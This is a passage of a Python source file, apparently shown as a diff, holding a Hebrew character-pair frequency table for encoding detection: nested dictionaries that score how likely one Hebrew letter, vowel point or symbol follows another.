0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 2, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 1, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 48: { # '¼' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 39: { # '½' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 57: { # '¾' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 30: { # 'ְ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 2, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 0, # 'ף' + 18: 2, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 59: { # 'ֱ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 1, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 41: { # 'ֲ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 0, # 'ם' + 6: 2, # 'מ' + 23: 0, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 33: { # 'ִ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 2, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 37: { # 'ֵ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 1, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 36: { # 'ֶ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 1, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 2, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 31: { # 'ַ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 1, # 'ֶ' + 31: 0, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 29: { # 'ָ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 2, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 35: { # 'ֹ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 2, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 2, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 62: { # 'ֻ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 1, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 28: { # 'ּ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 3, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 3, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 3, # 'ַ' + 29: 3, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 2, # 'ׁ' + 45: 1, # 'ׂ' + 9: 2, # 'א' + 8: 2, # 'ב' + 20: 1, # 'ג' + 16: 2, # 'ד' + 3: 1, # 'ה' + 2: 2, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 2, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 2, # 'ל' + 11: 1, # 'ם' + 6: 2, # 'מ' + 23: 1, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 2, # 'ר' + 10: 2, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 38: { # 'ׁ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 2, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 45: { # 'ׂ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 2, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 9: { # 'א' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 2, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 8: { # 'ב' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 